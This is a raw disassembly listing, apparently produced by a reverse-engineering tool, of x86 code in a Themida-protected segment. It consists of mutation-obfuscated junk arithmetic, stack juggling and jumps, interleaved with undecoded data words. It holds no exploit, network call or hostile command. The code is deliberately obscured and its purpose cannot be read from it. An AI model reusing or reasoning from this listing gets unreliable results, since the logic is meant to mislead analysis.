; ---------------------------------------------------------------------------


loc_554226:				; CODE XREF: Themida_:00558EFFj
		xor	ebx, 95076ADh
		jmp	loc_5550DA
; ---------------------------------------------------------------------------


loc_554231:				; CODE XREF: Themida_:0055AC0Dj
		mov	edi, 2A053DE6h
		shr	edi, 3
		not	edi
		jmp	loc_5517CA
; ---------------------------------------------------------------------------
		dd 5EE9E589h, 89FFFFFAh, 0FF54243Ch, 815F2434h,	4C4h, 4BD5500h
		dd 81000000h, 933D4BEFh, 81EF0114h, 933D4BC7h, 242C8B14h
		dd 81E78957h, 4C7h, 4DBA5200h, 4A3C4066h, 0E281EAD1h, 7CF1646Dh
		dd 8108EAC1h, 0E3DFE4C2h, 5AD701FFh, 0E9243C87h, 4FCBh
; ---------------------------------------------------------------------------


loc_554298:				; CODE XREF: Themida_:0054F9ACj
		add	ebx, 0D9C7CA2h
		add	ebx, 26F82847h
		add	ebx, eax
		sub	ebx, 26F82847h
		sub	ebx, 0D9C7CA2h
		pop	eax
		jmp	loc_553981
; ---------------------------------------------------------------------------
		dd 0E1C1D1F7h, 0E9D1F703h, 0FFFFEE52h, 0E6E9FA89h, 89FFFFB6h
		dd 0E2892414h, 51BC68h,	24348900h, 5041DD68h, 0DEF75E0Ch
		dd 782FE9h, 4BF5700h, 1000000h,	28D5E9FAh, 0E9500000h
		dd 590Dh, 5F59BB53h, 0F3816CF6h, 1C2560F2h, 224CCB81h
		dd 1E90754h, 53000056h,	99CE9h,	0EC835A00h, 6847E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55431E:				; CODE XREF: Themida_:0055A74Ej
		pop	esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, esp
		jmp	loc_5552E1
; ---------------------------------------------------------------------------
		db 5Dh,	1, 0F9h
		dd offset dword_494128+19BC1h
		dd 0B5A2E900h, 805BFFFFh, 0F50017C5h, 0E917ED80h, 56ECh
		dd 240C8966h, 0C8B60F66h, 0E99C5166h, 0FFFFB584h, 33241C31h
		dd 248B241Ch, 0C8AF0F24h, 71E99C51h, 52FFFFB5h,	0EA8011B2h
		dd 3C4E905h, 22680000h,	0E9000039h, 0FFFFE011h
; ---------------------------------------------------------------------------


loc_55438C:				; CODE XREF: Themida_:005532DEj
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_559062
; ---------------------------------------------------------------------------
		dd 7C0186BEh, 40E9466Dh
		db 0BAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5543A7:				; CODE XREF: Themida_:0055680Dj
		pop	ebx
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], esi
		jmp	loc_5563E0
; ---------------------------------------------------------------------------


loc_5543BD:				; CODE XREF: Themida_:0055A411j
		xor	ecx, eax
		pop	eax
		and	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		or	eax, eax
		jz	loc_5514BB
		push	dword ptr [edi+28h]
		push	dword ptr [esp]
		pop	eax
		jmp	loc_55AB83
; ---------------------------------------------------------------------------
		dd 4C181h, 0E9830000h, 240C8704h, 240C895Ch, 0C181E189h
		dd 4, 8904EC83h, 4BF243Ch, 81000000h, 9F187EC1h, 81F90106h
		dd 9F187EE9h, 243C8B06h, 815A5452h, 4C2h, 4C28100h, 87000000h
		dd 875C2414h, 248B240Ch, 0C8BE0F24h, 20E95452h,	87FFFFD5h
		dd 0E95C243Ch, 231Ch, 582434FFh, 0FFD791E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_554445:				; CODE XREF: Themida_:005510A1j
		pop	ecx
		sub	eax, 1A230536h
		sub	eax, 15AF29C2h
		sub	eax, 348B6BA8h
		add	eax, edi
		add	eax, 348B6BA8h
		add	eax, 15AF29C2h
		jmp	loc_55202F
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 8AE9240Ch, 0BF00005Fh, 57514EDCh, 0FFF5F9E9h, 0B1F681FFh
		dd 8141C335h, 0F451AEE6h, 81DEF735h, 7FF9DCF6h,	5EF529ABh
		dd 457DBB53h, 0DD314161h, 8BEB095Bh, 0C483242Ch, 16BDE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5544A6:				; CODE XREF: Themida_:0055478Ej
		pop	esp
		mov	[esp], edi
		sub	dword ptr [esp], 9B57072h
		pop	eax
		jmp	loc_553363
; ---------------------------------------------------------------------------
		db 87h
		dd 0FF5C243Ch, 0C8B2434h, 4EC8124h, 89000000h, 0E789243Ch
		dd 4C781h, 0C7830000h, 243C8704h, 0FFBC28E9h, 0E9F130FFh
		dd 69A6h, 875DE901h, 0E95C240Ch, 5AEDh,	0D971B1BBh, 5BD8014Fh
		dd 5257D801h, 2A286BBAh, 3599E933h, 8B660000h, 9968240Ch
		dd 89000004h, 0E789243Ch, 72BF5753h, 0BB493967h, 10162B16h
		dd 0E1E9FB31h
		db 0FAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_554527:				; CODE XREF: Themida_:0055B549j
		and	ecx, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		shr	ecx, 6
		push	1B44h
		mov	[esp], ebx
		push	dword ptr [esp]
		jmp	loc_556E00
; ---------------------------------------------------------------------------
		db 81h
		dd 0A23189EFh, 24148B33h, 6804C483h, 40E7h, 0FF243C89h
		dd 0FF042474h, 835F2434h, 48F04C4h, 24248B24h, 9C240421h
		dd 0FFB377E9h, 0BE0458FFh, 6DE94504h, 0FF000030h, 835E2434h
		dd 686604C4h, 89664935h, 71E92434h, 8900000Eh, 241C8BD8h
		dd 0E904C483h, 0FFFFB34Ch, 807EE980h, 0C100CCE9h, 80CCC180h
		dd 0E9807EC1h, 48B6686h, 2C48324h, 0C8BC800h, 4C48124h
		dd 0E9000000h, 0FFFFE781h, 243C875Bh, 0B31AE95Ch, 0C483FFFFh
		dd 0FC33004h, 84E9C0B6h, 31FFFFDFh, 2C33242Ch, 0F665C24h
		dd 9C2404A3h, 0FFB2FBE9h, 0B60F66FFh, 12C96802h, 0E5E90000h
		dd 5C000062h, 0B60FC330h, 148B66C0h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	edi
		mov	edi, 5B145FA0h
		mov	ebx, 0DDE6E00Fh
		add	ebx, edi
		pop	edi
		jmp	loc_5550E8
; ---------------------------------------------------------------------------


loc_55461C:				; CODE XREF: Themida_:00559709j
		shr	ebp, 1
		add	ebp, 530C4EA1h
		sub	ebp, 3F1355F4h
		jmp	loc_5587AE
; ---------------------------------------------------------------------------
		db 0B8h
		dd 940091FDh, 7E64C381h, 0C329652Bh, 0FFC48DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_554641:				; CODE XREF: Themida_:00551658j
		add	esp, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		shr	eax, 0Ch
		xor	eax, ecx
		xchg	eax, ebp
		push	ebp
		mov	ebp, esp
		jmp	loc_552906
; ---------------------------------------------------------------------------
		dd 0FF4129BBh, 0B7F3812Bh, 0E93A0441h, 0FFFFD5F1h, 0E9241C89h
		dd 40BEh, 5504C483h, 182F5CBDh,	24448132h, 0B42F2408h
		dd 246C292Fh, 0D7D3E908h, 0BF57FFFFh, 497161D3h, 9E31C781h
		dd 0FE89B68Eh, 2474015Fh, 815A5E04h, 4C2h, 4BE5600h, 1000000h
		dd 0DB8CE9F2h, 8A05FFFFh, 0FF014C5Eh, 87E92434h, 0BD00005Dh
		dd 6FDC67C7h, 0C15AD531h, 0ED8106EDh, 0A201C739h, 295DEB01h
		dd 4EB81D3h, 5A5F6B29h,	31241C33h, 1C33241Ch, 24248B24h
		dd 0E9240C89h, 0FFFFB1F4h, 81240C8Bh, 4C4h, 74FF5500h
		dd 2C8B0424h, 4C48124h,	0E9000000h, 53DDh, 0E9240C8Bh
		dd 67ACh, 0C923E9ACh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55471E:				; CODE XREF: Themida_:00553D20j
		mov	ebp, 62B46907h
		add	ebp, 71C52B38h
		xor	ebp, 4CBE4421h
		add	ebp, 12D229B0h
		shl	ebp, 7
		inc	ebp
		add	ebp, 33031900h
		mov	edi, ebp
		jmp	loc_55BE54
; ---------------------------------------------------------------------------
		dd offset dword_5AD328
aSc5		db '[5',0
		dd 8E95800h, 89FFFFD2h,	0C8B5E31h, 0E1895124h, 4C181h
		dd 0C1810000h, 4, 5C240C87h, 0FFB95EE9h, 8BF388FFh, 0C4832414h
		dd 60FE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_554782:				; CODE XREF: Themida_:00553064j
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		jmp	loc_5544A6
; ---------------------------------------------------------------------------
		db 55h
		dd 6573EEBDh, 0ED814D23h, 670FEF72h, 0E95DE831h, 6226h
		dd 7BE9FA08h, 81FFFFC6h, 4C4h, 54E28100h, 815CD628h, 7E19B3C2h
		dd 0FDE9504Ch, 66FFFFB5h, 68240C8Bh, 3D19h, 54241C89h
		dd 83241C8Bh, 505104C4h, 0CD565EB8h, 576BE944h,	0C4830000h
		dd 243C8704h, 0F724248Bh, 24CA68F1h, 14890000h,	0E99C5024h
		dd 6495h, 2C8BEB01h, 4C48324h, 31241C33h, 1C33241Ch, 24248B24h
		dd 0BB53h, 0D3010000h, 4468h, 240C8900h, 4EC81h, 0E3E90000h
		dd 89FFFFC7h, 0BFE9243Ch, 81000077h, 384BC6E3h,	0F3814361h
		dd 42117B02h, 815BDE89h, 0B631B9CEh, 7EEC116h, 4C30BA52h
		dd 0E94A6492h, 0FFFFF235h, 0E924248Bh, 0FFFFC730h
; ---------------------------------------------------------------------------


loc_554864:				; CODE XREF: Themida_:005526F3j
		mov	[esp], ebx
		jmp	loc_5517AA
; ---------------------------------------------------------------------------


loc_55486C:				; CODE XREF: Themida_:00559BCBj
		sub	eax, edx
		mov	edx, [esp]
		add	esp, 4
		add	eax, ebp
		jmp	loc_553590
; ---------------------------------------------------------------------------
		db 50h
		dd 0FFC069E9h, 8BC829FFh, 0F5E9240Ch
		db 11h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55488B:				; CODE XREF: Themida_:005503C5j
		pop	ebx
		pop	ecx


loc_55488D:				; CODE XREF: Themida_:0055A57Ej
		push	ebx
		jmp	loc_554C38
; ---------------------------------------------------------------------------


loc_554893:				; CODE XREF: Themida_:00551B57j
		sub	edi, 1EA49C2h
		sub	edi, ecx
		push	eax
		mov	eax, 1EA49C2h
		add	edi, eax
		pop	eax
		pop	ecx
		add	edi, 701007CBh
		push	edx
		mov	edx, 1C616313h
		and	edi, edx
		mov	edx, [esp]
		add	esp, 4
		dec	edi
		push	eax
		jmp	loc_55A3DE
; ---------------------------------------------------------------------------
		dd 0D1E9A4B0h, 81FFFFD3h, 4ECh,	4F2E900h, 0F7660000h, 0E99C241Ch
		dd 0FFFFB00Ch
; ---------------------------------------------------------------------------


loc_5548DC:				; CODE XREF: Themida_:00552EF8j
		push	2E7Ch
		mov	[esp], ebp
		jmp	loc_551446
; ---------------------------------------------------------------------------


loc_5548E9:				; CODE XREF: Themida_:00556782j
		pop	esi
		mov	edi, [esp]
		add	esp, 4
		and	ecx, edx
		pop	edx
		jmp	loc_555419
; ---------------------------------------------------------------------------
aIIxrwNwsWsS7	db ',$RWw!w!7',0
		align 2
		dw 1C31h
		dd 241C3324h, 5F241C31h, 0FDEF814Fh, 8135416Eh,	4074E9CFh
		dd 4EC8320h, 0B8240489h, 0B777EF39h, 0A6E9C701h, 83FFFFD8h
		dd 8F5404ECh, 4812404h,	424h, 6A99E900h, 99E90000h
		db 0AFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55494F:				; CODE XREF: Themida_:0055076Fj
		xchg	ebx, [esp]
		not	ebx
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		jmp	loc_55702C
; ---------------------------------------------------------------------------
		db 68h
		dd 61E41E9Dh, 83242C8Bh, 0E94D04C4h, 0FFFFF28Bh, 2958C131h
		dd 0C68159CEh, 236D7156h, 0CA56C681h, 7BE9C1D1h
		db 15h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_554987:				; CODE XREF: Themida_:00550417j
		mov	edx, 0D1711E07h
		push	edx
		push	4D571D9Fh
		pop	edx
		shr	edx, 4
		xor	edx, 24123B7Dh
		sub	edi, edx
		pop	edx
		add	edi, edx
		push	edx
		jmp	loc_558A06
; ---------------------------------------------------------------------------


loc_5549A7:				; CODE XREF: Themida_:0055875Bj
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	4856h
		mov	[esp], eax
		jmp	loc_54F8E8
; ---------------------------------------------------------------------------


loc_5549BB:				; CODE XREF: Themida_:00557AD0j
		add	dword ptr [esp+8], 1D8F70CAh
		pop	edx
		jmp	loc_559E97
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
aTsig		db 'TG',0
		align 2
		dw 0C181h
		dd 6D560EAEh, 9216BE56h, 0F1316C84h, 0E9CD015Eh, 0FFFFD755h
		dd 23E2814Ah, 812FBE76h, 5427DDEAh, 0E9D001C9h,	0FFFFD74Dh
		dd 2E23E94Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_554A02:				; CODE XREF: Themida_:00550CA3j
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		xchg	eax, edi
		push	4674h
		jmp	loc_552DC5
; ---------------------------------------------------------------------------
		db 89h,	2Ch, 24h
		dd 2BDh, 86EB8100h, 15AB136h, 6BB8E9EBh, 0C8B0000h, 0EE7CE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_554A42:				; CODE XREF: Themida_:0055736Dj
		mov	esi, 16095C31h
		xor	esi, 8B32A8Ch
		add	esi, 4D33C731h
		jmp	loc_5557D7
; ---------------------------------------------------------------------------
		dd 53BA5259h, 50658130h, 5A476852h, 148B518Fh, 4C48124h
		dd 0C1000000h, 0A8E904EAh
		db 1Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_554A77:				; CODE XREF: Themida_:00559B0Aj
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_554DA7
; ---------------------------------------------------------------------------
		db 59h
		dd 0E924048Fh, 0F99h, 53CEF381h, 0F753FFC2h, 0E95B2414h
		dd 414h, 0BE0455B1h, 9404192Ch,	45A0E9h, 34BD5500h, 3157E179h
		dd 0F3015DEEh, 7B2A685Eh, 34890000h, 16A6BE24h,	0F3291DFBh
		dd 21E6685Eh, 34890000h, 81E68924h, 4ECh, 241C8900h, 4BBh
		dd 219EE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_554AEA:				; CODE XREF: Themida_:00550B8Dj
		xor	edi, [esp]
		xor	[esp], edi
		push	dword ptr [esp]
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ebx
		push	4
		pop	ebx
		add	ebp, ebx
		pop	ebx
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5588EE
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 241C8904h, 2013E9h, 34FF5400h, 302FE924h, 1C040000h
		dd 515B5A66h, 0C3E95266h, 0ADFFFFC5h, 65152305h, 9FBB530Ch
		dd 871D2F01h, 347CE9CBh, 0D9010000h, 610DE981h,	91E971A1h
		dd 5B00006Bh, 0C15DE931h, 0AE907E9h
		db 53h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_554B5F:				; CODE XREF: Themida_:0054FAF8j
		push	edi
		mov	edi, esp
		push	ebp
		jmp	loc_5536B1
; ---------------------------------------------------------------------------


loc_554B68:				; CODE XREF: Themida_:005572D0j
		add	ecx, 51346D0Ch
		shl	ecx, 1
		add	ecx, 23DA4847h
		sub	ebx, ecx
		pop	ecx
		jmp	loc_55A072
; ---------------------------------------------------------------------------
		dw 98BBh
		dd 2923DB67h, 1E95BDDh,	0FF00006Ah, 8B042474h, 46E92414h
		dd 5300000Dh, 0C381E389h, 4, 4EB81h, 0FF530000h, 5B042474h
		dd 478DE9h
		db 0
; ---------------------------------------------------------------------------


loc_554BB1:				; CODE XREF: Themida_:0055616Aj
		neg	eax
		sub	eax, 74D248C0h
		jmp	loc_554D02
; ---------------------------------------------------------------------------
		db 0BFh, 0, 40h
		dd 0FE891041h, 58C6315Fh, 5C73E94Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_554BCE:				; CODE XREF: Themida_:00550E85j
		or	edx, ebp
		pop	ebp
		push	eax
		push	4B3B0747h
		jmp	loc_550402
; ---------------------------------------------------------------------------
		dd 0E9242C89h, 0FFFFC5C9h
; ---------------------------------------------------------------------------


loc_554BE4:				; CODE XREF: Themida_:00557715j
		inc	ebx
		jmp	loc_5506BC
; ---------------------------------------------------------------------------
		dw 0BD55h
		dd 2EB112DDh, 0BEB9514Dh, 933651Fh, 5E959CDh, 81000034h
		dd 0D56D80EBh, 0BD554331h, 13E35A1Ch, 1F13E581h, 0F5815AD3h
		dd 39CC6372h, 0FFBD3BE9h, 73C381FFh, 513C8538h,	50470EB9h
		dd 11B1E96Bh, 0FD050000h, 0E966C665h, 0FFFFBF1Fh
; ---------------------------------------------------------------------------


loc_554C38:				; CODE XREF: Themida_:0055488Ej
		mov	eax, [esp]
		jmp	loc_55128C
; ---------------------------------------------------------------------------
		dd 0A462EA81h, 0D709DDDCh, 5FF1E9h, 24148700h, 0E924248Bh
		dd 0FFFFAC90h
; ---------------------------------------------------------------------------


loc_554C58:				; CODE XREF: Themida_:0054FEBBj
		mov	[esp], edi
		jmp	loc_55762C
; ---------------------------------------------------------------------------


loc_554C60:				; CODE XREF: Themida_:00559404j
		and	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_54F92F
; ---------------------------------------------------------------------------
aSkk		db '\K',0
		align 2


loc_554C76:				; CODE XREF: Themida_:005581EBj
		mov	ebp, esi
		pop	esi
		push	eax
		mov	eax, 57EA4F37h
		xor	ebp, eax
		pop	eax
		add	ebx, 625225F1h
		add	ebx, ebp
		sub	ebx, 625225F1h
		mov	ebp, [esp]
		add	esp, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	ebx
		push	eax
		mov	al, dl
		mov	bl, al
		pop	eax
		push	edx
		push	eax
		mov	al, bl
		mov	dh, al
		jmp	loc_550E69
; ---------------------------------------------------------------------------
		db 0BBh, 3Bh, 40h
		dd 0EBC15108h, 7E3C102h, 1B51E9h
		db 0
; ---------------------------------------------------------------------------


loc_554CC1:				; CODE XREF: Themida_:0055082Fj
		pop	edi
		add	esp, 4
		mov	esi, 2D722DD9h
		xor	esi, ebx
		mov	ebx, [esp]
		add	esp, 4
		sub	edi, esi
		push	dword ptr [esp]
		pop	esi
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		retn
; ---------------------------------------------------------------------------
		db 0E9h, 0E7h, 0ACh
		dd 0C781FFFFh, 4, 2914E951h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_554D02:				; CODE XREF: Themida_:00554BB8j
		and	edx, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5502F4
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 2, 0FFEE3FE9h, 24048FFFh, 6624248Bh,	0E9240C8Bh, 0FFFFE434h
		dd 8B66D028h, 0C4812414h, 2, 2090E9h, 0CAED8000h, 7BE9EB28h
		dd 0B2000058h, 5AD58800h, 0FE33F580h, 0D49BE9C5h, 0CC80FFFFh
		dd 80CCFE4Fh, 0F480ABCCh, 58E32872h, 0FFC0B60Fh, 0BB538734h
		dd 1D65110Eh, 4244481h,	51B70919h, 4245C29h, 0CC9BE952h
		dd 0EEB6FFFFh, 0CD11E950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_554D8A:				; CODE XREF: Themida_:00556770j
		add	ecx, ebx
		jmp	loc_554E58
; ---------------------------------------------------------------------------
		db 2Ch,	76h, 28h
		dd 0ABE951D8h, 0ADFFFFD6h, 6EEEBA52h, 85E93C6Eh
		db 0EDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_554DA7:				; CODE XREF: Themida_:00554A86j
		pop	eax
		add	eax, 542E7125h
		push	edi
		push	6E785C36h
		pop	edi
		push	ebx
		mov	ebx, 1
		add	edi, ebx
		push	dword ptr [esp]
		jmp	loc_5533D1
; ---------------------------------------------------------------------------
		dd 0FF243489h, 0E9042474h, 2B4Ch
; ---------------------------------------------------------------------------


loc_554DD0:				; CODE XREF: Themida_:00550DDFj
		push	ecx
		mov	ecx, 304506ECh
		and	ecx, 0A8E6FC1h
		inc	ecx
		dec	ecx
		not	ecx
		sub	ecx, 9998E5B5h
		or	eax, ecx
		pop	ecx
		jmp	loc_557BDB
; ---------------------------------------------------------------------------


loc_554DEE:				; CODE XREF: Themida_:00553309j
		push	edx
		mov	edx, 1ABA4C52h
		shl	edx, 1
		jmp	loc_553D02
; ---------------------------------------------------------------------------


loc_554DFB:				; CODE XREF: Themida_:0055A1FDj
		pop	eax
		add	ecx, 8588B69Ch
		rep movsd
		add	esp, [edx+38h]
		push	26E0h
		mov	[esp], edi
		push	7F861438h
		jmp	loc_552308
; ---------------------------------------------------------------------------


loc_554E19:				; CODE XREF: Themida_:00550862j
		add	esp, 4
		xchg	ecx, [esp]
		pop	esp
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 4
		add	ebp, edi
		pop	edi
		xchg	ebp, [esp]
		pop	esp
		push	ebp
		jmp	loc_55680B
; ---------------------------------------------------------------------------
		dd 66C73166h, 0F8296658h, 5F2434FFh, 0E9E28952h, 0FFFFF341h
; ---------------------------------------------------------------------------


loc_554E58:				; CODE XREF: Themida_:00554D8Cj
		pop	ebx
		xchg	ecx, [esp]
		pop	esp
		xor	edx, edx
		jmp	loc_5503F8
; ---------------------------------------------------------------------------
		dd 95E9CA01h
		db 23h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_554E6B:				; CODE XREF: Themida_:0055A3E8j
		mov	edi, [esp]
		add	esp, 4
		push	4171h
		jmp	loc_553F20
; ---------------------------------------------------------------------------
		dw 0F829h
		dd 2FA4BE56h, 0F00179E5h, 4EC835Eh, 0BD242C89h,	7F2A77B5h
		dd 5D1CD81h, 0F58111ADh, 5D1D1666h, 8104E5C1h, 0FD7E8CC5h
		dd 81DDF715h, 0E60AA7EDh, 0E9E8299Dh, 0FFFFC556h, 0BEA2E956h
		dd 895CFFFFh, 0DB9240Ch, 81232B6Dh, 1D7A2AC9h, 5A5CE92Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_554ED2:				; CODE XREF: Themida_:00559104j
		mov	eax, 0A56FF7DAh
		jmp	loc_552B9B
; ---------------------------------------------------------------------------


loc_554EDC:				; CODE XREF: Themida_:0055B0E0j
		shl	edx, 1
		push	ebx
		push	esp
		mov	ebx, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_5503CA
; ---------------------------------------------------------------------------


loc_554EEB:				; CODE XREF: Themida_:00550489j
		add	ebp, 4
		add	ebp, 4
		sub	esp, 4
		mov	[esp], ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		push	ebp
		not	dword ptr [esp]
		pop	ebp
		push	eax
		push	606Ch
		mov	[esp], ebp
		pop	eax
		mov	ebp, [esp]
		push	edi
		jmp	loc_559D9E
; ---------------------------------------------------------------------------
		dw 315Ah
		dd 0E3AFE9F3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_554F26:				; CODE XREF: Themida_:0055BE46j
		and	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		or	eax, eax
		jz	loc_551B69
		push	ecx
		mov	ecx, 28h
		push	ebx
		push	esi
		mov	esi, 15081680h
		jmp	loc_55096C
; ---------------------------------------------------------------------------


loc_554F4B:				; CODE XREF: Themida_:00555886j
		push	ebx
		mov	ebx, 0A564988h
		jmp	loc_5527A1
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 8951240Ch, 3C43E9E1h, 0D8290000h, 0DF050A2Dh, 1DF0E908h
		dd 87580000h, 0E95C240Ch, 0FFFFA970h, 1AC2815Fh, 4A67013Bh
		dd 0FFFA63E9h, 4C481FFh, 81000000h, 105857EDh, 38E5812Ch
		dd 81384E35h, 8E70D2C5h, 0C5814557h, 90717F09h,	0BE9EE01h
		db 0B0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_554FAB:				; CODE XREF: Themida_:00559FD8j
		sub	eax, 6E5F1941h
		jmp	loc_557D87
; ---------------------------------------------------------------------------
		db 0F7h, 0D5h, 81h
		dd 0DC5929E5h, 81F58136h, 0E9614402h, 0FFFFC7F5h, 8108EEC1h
		dd 632492EEh, 8BF721E0h, 0C4812434h, 4,	0FFD11DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_554FE1:				; CODE XREF: Themida_:0055925Ej
		xchg	ecx, [esp]
		jmp	loc_557A37
; ---------------------------------------------------------------------------
		db 0FEh, 0C5h, 80h
		dd 0EDC0A8C5h, 23EBE906h, 0E3800000h, 3786E973h, 4BE0000h
		dd 1000000h, 0D3E95EF5h, 0F6000034h, 0E99C241Ch, 0FFFFA8D4h
		dd 348BF789h, 0E6895624h, 4C681h, 0C6830000h, 24348704h
		dd 0B5BB535Ch, 2937120Bh, 241C8BDFh, 0E904C483h, 0D37h
		dd 5724048Bh, 0C781E789h, 4, 8704C783h,	0E95C243Ch, 0FFFFA894h
		dd 1C17F581h, 0E8018711h, 0E92434FFh, 59A2h
; ---------------------------------------------------------------------------


loc_555064:				; CODE XREF: Themida_:005562E6j
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_54F8E8
; ---------------------------------------------------------------------------
		dd 5C36C681h, 0DE014DBAh, 5C36EE81h, 835B4DBAh,	0DCE904EEh
		dd 66000037h, 66241489h, 68C8B050h, 6E15h, 88240C89h, 4EC83C1h
		dd 88240489h, 0E33DE9C8h, 0EC83FFFFh, 243C8904h, 3A1946BFh
		dd 1AC78121h, 812A6B4Dh, 0EA2528CFh, 4EE78114h,	0E945ED44h
		dd 0FFFFE246h, 0ED81DDF7h, 0B63F9E45h, 2C8BE801h, 0B7F2E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5550DA:				; CODE XREF: Themida_:0055422Cj
		xor	ebx, 0AF539603h
		mov	esi, ebx
		pop	ebx
		jmp	loc_556780
; ---------------------------------------------------------------------------


loc_5550E8:				; CODE XREF: Themida_:00554617j
		push	60D5h
		mov	[esp], eax
		push	esi
		push	edx
		push	6D0861B6h
		pop	edx
		xor	edx, 0DF43BA2h
		jmp	loc_553FBF
; ---------------------------------------------------------------------------
		db 53h
		dd 0C3FEA6B3h, 0FFFEE9E9h, 4C381FFh, 87000000h,	835C241Ch
		dd 148704C2h, 0E95C24h,	29FFFFA9h, 0C7815FF9h, 3A912CEBh
		dd 89E9CF01h
		db 0D6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_555133:				; CODE XREF: Themida_:00552C1Ej
		pop	esi
		and	eax, edi
		mov	edi, [esp]
		push	edi
		jmp	loc_552412
; ---------------------------------------------------------------------------


loc_55513F:				; CODE XREF: Themida_:005566E4j
		add	esp, 4
		push	ebp
		jmp	loc_5507FA
; ---------------------------------------------------------------------------


loc_555148:				; CODE XREF: Themida_:0054F92Aj
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		sub	ecx, 53234CBAh
		mov	ebx, [esp]
		add	esp, 4
		push	7107h
		jmp	loc_5590C4
; ---------------------------------------------------------------------------
		dd 9A4D0DBDh, 0E9DDF76Ah, 0C18h, 5BD9015Fh, 4E981h, 0DDE90000h
		db 5Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_555187:				; CODE XREF: Themida_:00556088j
		add	esp, 4
		push	dword ptr [edi+eax*4]
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 0DE437D6h
		push	ecx
		mov	ecx, 3F6D671Ch
		sub	dword ptr [esp+8], 6CC75529h
		add	dword ptr [esp+8], 73311773h
		add	[esp+8], ecx
		push	ebx
		mov	ebx, 73311773h
		sub	[esp+0Ch], ebx
		pop	ebx
		add	dword ptr [esp+8], 6CC75529h
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_551DCF
; ---------------------------------------------------------------------------
		db 5Ch,	8, 4
		dd 0DE99C24h
		db 0A7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5551DB:				; CODE XREF: Themida_:0054FDE2j
		add	ebp, 1
		push	ecx
		mov	ecx, 269E2B3Ah
		xor	ebp, ecx
		pop	ecx
		jmp	loc_553299
; ---------------------------------------------------------------------------
		db 0F6h
		dd 0C9434D0h, 0F6C90464h, 0E9D0F6D0h, 0FFFFC45Dh, 42474FFh
		dd 24048F5Fh, 2434FF5Ch, 0E92434FFh, 0F0Fh, 6BE2055Eh
		dd 5E92212h, 5AFFFFACh,	0FFA6C3E9h, 518368FFh, 34890000h
		dd 5F6E924h, 665C0000h,	8957E1F7h, 4C781E7h, 83000000h
		dd 0C8904ECh, 62B85024h, 0F728555Ah, 5C4D25D8h,	553537BBh
		dd 0E97B0B2Bh, 544Eh, 6EE9F028h
		db 4Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_555263:				; CODE XREF: Themida_:005556E3j
		push	cx
		xchg	bl, [esp]
		not	bl
		xchg	bl, [esp]
		pop	cx
		mov	dh, cl
		mov	ecx, [esp]
		add	esp, 4
		add	dh, 93h
		xor	al, dh
		jmp	loc_5514F5
